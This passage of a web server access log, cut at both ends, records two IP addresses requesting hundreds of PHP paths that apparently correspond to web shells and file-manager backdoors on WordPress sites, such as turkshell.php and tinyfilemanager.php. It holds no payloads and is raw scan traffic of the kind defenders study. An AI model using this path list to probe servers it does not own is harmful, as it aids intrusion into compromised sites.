HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:04 +0300] "GET /tea.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:35 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:30 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:44 +0300] "GET /10.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:29 +0300] "GET /f35_S.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:46 +0300] "GET /wp1.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:24:53 +0300] "GET /Geforce.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:25:16 +0300] "GET //xwpg.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:25:21 +0300] "GET /trx24.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:25:31 +0300] "GET /ass.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:25:34 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:26:25 +0300] "GET /yuzuru1.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:26:31 +0300] "GET /wp-moonka.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:26:35 +0300] "GET /htto.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:17 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:27:26 +0300] "GET /abrand.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:28 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:27:31 +0300] "GET /fsgdjkl.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:38 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:32 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:28:46 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:31:01 +0300] "GET /dljpy.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:28 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:42 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:43 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:31:56 +0300] "GET /a9.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:04 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:06 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:32:23 +0300] "GET /gh.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:49 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:33:55 +0300] "GET /isvqf.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:57 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:16:04 +0300] "GET /wp-tot.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:16:31 +0300] "GET /ws85.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:17:31 +0300] "GET /itlvk.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:18:16 +0300] "GET /kandw.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:18:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:18:42 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:18:42 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:19:12 +0300] "GET /ws83.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:20:51 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:03 +0300] "GET /awa.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:06 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:06 +0300] "GET /popo.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:07 +0300] "GET /water.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:22:10 +0300] "GET /eapjf.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:19 +0300] "GET /seo.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:00 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:23:13 +0300] "GET /x123.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:15 +0300] "GET /4.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:15 +0300] "GET /5.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:23:38 +0300] "GET /wxeyc.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:42 +0300] "GET /10.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:24:23 +0300] "GET /hots.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:25 +0300] "GET /f35_S.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:25:01 +0300] "GET /wkogn.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:25:45 +0300] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:25:51 +0300] "GET /fine.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:25:54 +0300] "GET /zample.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:26:10 +0300] "GET /lowpr.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:26:24 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:26:41 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:37 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:28:40 +0300] "GET /defeg.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:46 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:28:51 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:28:55 +0300] "GET /ws56.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:29:15 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:29:31 +0300] "GET /ardsw.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:29:42 +0300] "GET /coiuz.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:29:58 +0300] "GET /bless4.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:30:04 +0300] "GET /no18.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:40 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:46 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:58 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:58 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:15:42 +0300] "GET /amwxl.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:17:01 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:17:14 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:17:55 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:18:27 +0300] "GET /callback.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:20 +0300] "GET /aq.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:19:22 +0300] "GET /aa21.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:40 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:20:26 +0300] "GET /ebuom.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:20:58 +0300] "GET /popo.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:02 +0300] "GET /water.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:15 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:45 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:21:53 +0300] "GET /ckk.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:35 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:12 +0300] "GET /5.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:30 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:30 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:23:44 +0300] "GET /akhvg.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:51 +0300] "GET /.mopj.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:31 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:25:29 +0300] "GET /3akp.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:54 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:27:56 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:27:59 +0300] "GET /utchiha_py4mE1XY.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:24 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:55 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:29:36 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:29:52 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:30:41 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:10 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:10 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:20 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:51 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:33:06 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:13 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:26 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:26 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:26 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:26 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:33:48 +0300] "GET /rgjrq.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:16 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:34:16 +0300] "GET /jtfocpif.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:17 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:17:38 +0300] "GET /ai.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:17:48 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:18:21 +0300] "GET /wcvejtpr.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:18:38 +0300] "GET /ppxhp.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:20:07 +0300] "GET /utchiha_O1JFaUaF.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:20:26 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:20:26 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:20:45 +0300] "GET /jvtsa.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:20:48 +0300] "GET /rkiea.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:20:58 +0300] "GET /xtsr.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:21:28 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:31 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:19 +0300] "GET /seo.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:22:35 +0300] "GET /kagug.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:22:43 +0300] "GET /byueb.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:23 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:17 +0300] "GET /nano.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:25:10 +0300] "GET /byrgo.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:25:34 +0300] "GET /ctjpseby.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:25:38 +0300] "GET /fss.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:26:57 +0300] "GET /jctyd.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:32 +0300] "GET /ass.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:32 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:34 +0300] "GET /no18.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:35 +0300] "GET /fine.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:35 +0300] "GET /zample.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:35 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:35 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:42 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:27:47 +0300] "GET /8573.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:23 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:40 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:46 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:29:35 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:30:04 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:30:19 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:36 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:36 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:31:47 +0300] "GET /lmlwpbmm.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:32:05 +0300] "GET /camara.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:32:42 +0300] "GET /wpb.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:01 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:33:32 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:28 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:53 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:16:12 +0300] "GET /0xD.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:16:42 +0300] "GET /b7cdb465.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:17:44 +0300] "GET /ovajelmxf.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:03 +0300] "GET /flox.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:12 +0300] "GET /mff.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:56 +0300] "GET /ewp.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:20:36 +0300] "GET /assacc.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:21 +0300] "GET /wert.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:22:00 +0300] "GET /ws58.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:03 +0300] "GET /turkshell.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:06 +0300] "GET /tea.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:22:25 +0300] "GET /buc.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:27 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:22:54 +0300] "GET /abalqdol.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:23:53 +0300] "GET /home.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:44 +0300] "GET /wp1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:26:01 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:26:09 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:26:17 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:27:19 +0300] "GET /ws77.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:12 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:28:14 +0300] "GET /ws73.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:28:23 +0300] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:29:01 +0300] "GET /blnux.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:29:21 +0300] "GET /gedim.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:29:50 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:30:12 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:30:40 +0300] "GET /frdyx.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:50 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:52 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:53 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:32:15 +0300] "GET /mds.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:22 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:23 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:32:48 +0300] "GET /ws88.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:32:53 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:56 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:42 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:45 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:34:41 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:43 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:46 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:56 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:59 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:16:47 +0300] "GET /xxiviLDIot.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:16:50 +0300] "GET /upll22.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:16:53 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:16:56 +0300] "GET /yee.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:49 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:21:13 +0300] "GET /beerd.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:39 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:51 +0300] "GET /oij98gy.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:54 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:23:02 +0300] "GET /zc-942.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:23:20 +0300] "GET /C1.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:23:29 +0300] "GET /xsjtz.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:37 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:41 +0300] "GET /111.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:25:11 +0300] "GET /xfun.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:25:51 +0300] "GET /abpxrnwe.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:26:48 +0300] "GET /wp-tap.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:26:52 +0300] "GET /tymi.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:27:11 +0300] "GET /cjndd.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:27:39 +0300] "GET /sk25_1.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:28:03 +0300] "GET /ccrheegr.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:06 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:29:10 +0300] "GET /zu.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:29:26 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:29:55 +0300] "GET /ogr.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:30:11 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:30:29 +0300] "GET /c4.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:30:34 +0300] "GET /iov.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:31:34 +0300] "GET /dyxbc.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:30 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:34:47 +0300] "GET /atfis.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:34:50 +0300] "GET /kduhq.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:34:54 +0300] "GET /ckmtelzy.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:34:57 +0300] "GET /dass.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:21 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:25 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:37 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:40 +0300] "GET /bs1.php 